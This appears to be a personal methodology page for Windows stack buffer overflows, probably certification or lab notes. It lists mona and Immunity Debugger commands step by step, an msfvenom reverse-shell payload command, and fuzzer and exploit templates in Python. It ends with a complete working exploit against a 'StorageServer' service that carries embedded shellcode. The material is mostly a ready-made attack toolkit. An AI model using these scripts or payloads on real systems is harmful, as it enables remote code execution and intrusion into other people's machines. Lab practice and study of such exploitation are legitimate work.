Windows Buffer Overflow

I used the following methodology to get buffer overflows somewhat quickly

GitHub - corelan/mona: Corelan Repository for mona.pyGitHub

Python Penetration Testing CookbookO’Reilly Online Learning

Buffer Overflow Methodology with Mona and Immunity

!mona config -set workingfolder c:\mona\%p	#Configures a working folder automagically

python3 fuzzer.py	#Run a fuzzer against the application to crash it. Record where it crashes

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600		#Create a cyclic pattern larger than the crash. 																				#copy paste it into payload of exploit.py

python3 exploit.python3		#Run the exploit.py against the application

!mona findmsp -distance 600	#Change the distance to the size of the pattern created. It should find where EIP crashes
				#EIP contains normal pattern : ... (offset XXXX)
				#Update the offset variable of exploit.py to this number and set payload variable to BBBB

!mona bytearray -b "\x00"	#Generate a byte array with mona that will check for bad chars

python badchar_maker.py 	#Run this script and copy/paste the output into payload variable of exploit.py

python3 exploit.python3		#Run the exploit.py against the application

!mona compare -f C:\mona\oscp\bytearray.bin -a <address>	#Run this after the application crashes. Replace address with 																	#ESP register address. This will popup badchars
																

!mona bytearray -b "\x00\x0a"		#Rerun mona with new badchars. 
					#Update exploit.py with removed badchars

python3 exploit.python3		#Run the exploit.py against the application
				#After all badchars are found. Find a jmp esp equivalent

!mona jmp -r esp -cpb "\x00"	#Add the badchars found to this command to find jmp esp locations
				#Update retn in exploit.py with a jmp esp location but backwards
				#if the address is \x01\x02\x03\x04 in Immunity, write it as \x04\x03\x02\x01

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c 	#Make a payload with badchars
																								#Update payload of exploit.py

padding = "\x90" * 16	#Add nops to padding. Atleast 16

Fuzzer Script

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.193.31"

port = 2233
timeout = 10
prefix = "StorageServer "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Exploit Script

import socket

ip = "10.10.193.31"
port = 1337

prefix = "OVERFLOW "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Bad Character Script

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

Example Working Exploit Script

import socket

ip = "10.11.1.79"
port = 2233

prefix = "StorageServer "
offset = 2292
overflow = "A" * offset
retn = "\x0d\x11\x20\x11"
padding = "\x90" * 16
payload = ("\xda\xcd\xbb\x19\xab\x70\x7f\xd9\x74\x24\xf4\x58\x33\xc9"
"\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xd9\xaf\x92\x8a\x25"
"\x47\xd0\x75\xd5\x98\xb5\xfc\x30\xa9\xf5\x9b\x31\x9a\xc5"
"\xe8\x17\x17\xad\xbd\x83\xac\xc3\x69\xa4\x05\x69\x4c\x8b"
"\x96\xc2\xac\x8a\x14\x19\xe1\x6c\x24\xd2\xf4\x6d\x61\x0f"
"\xf4\x3f\x3a\x5b\xab\xaf\x4f\x11\x70\x44\x03\xb7\xf0\xb9"
"\xd4\xb6\xd1\x6c\x6e\xe1\xf1\x8f\xa3\x99\xbb\x97\xa0\xa4"
"\x72\x2c\x12\x52\x85\xe4\x6a\x9b\x2a\xc9\x42\x6e\x32\x0e"
"\x64\x91\x41\x66\x96\x2c\x52\xbd\xe4\xea\xd7\x25\x4e\x78"
"\x4f\x81\x6e\xad\x16\x42\x7c\x1a\x5c\x0c\x61\x9d\xb1\x27"
"\x9d\x16\x34\xe7\x17\x6c\x13\x23\x73\x36\x3a\x72\xd9\x99"
"\x43\x64\x82\x46\xe6\xef\x2f\x92\x9b\xb2\x27\x57\x96\x4c"
"\xb8\xff\xa1\x3f\x8a\xa0\x19\xd7\xa6\x29\x84\x20\xc8\x03"
"\x70\xbe\x37\xac\x81\x97\xf3\xf8\xd1\x8f\xd2\x80\xb9\x4f"
"\xda\x54\x6d\x1f\x74\x07\xce\xcf\x34\xf7\xa6\x05\xbb\x28"
"\xd6\x26\x11\x41\x7d\xdd\xf2\xae\x2a\xaa\xf3\x47\x29\x54"
"\xe5\xcb\xa4\xb2\x6f\xe4\xe0\x6d\x18\x9d\xa8\xe5\xb9\x62"
"\x67\x80\xfa\xe9\x84\x75\xb4\x19\xe0\x65\x21\xea\xbf\xd7"
"\xe4\xf5\x15\x7f\x6a\x67\xf2\x7f\xe5\x94\xad\x28\xa2\x6b"
"\xa4\xbc\x5e\xd5\x1e\xa2\xa2\x83\x59\x66\x79\x70\x67\x67"
"\x0c\xcc\x43\x77\xc8\xcd\xcf\x23\x84\x9b\x99\x9d\x62\x72"
"\x68\x77\x3d\x29\x22\x1f\xb8\x01\xf5\x59\xc5\x4f\x83\x85"
"\x74\x26\xd2\xba\xb9\xae\xd2\xc3\xa7\x4e\x1c\x1e\x6c\x6e"
"\xff\x8a\x99\x07\xa6\x5f\x20\x4a\x59\x8a\x67\x73\xda\x3e"
"\x18\x80\xc2\x4b\x1d\xcc\x44\xa0\x6f\x5d\x21\xc6\xdc\x5e"
"\x60")
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")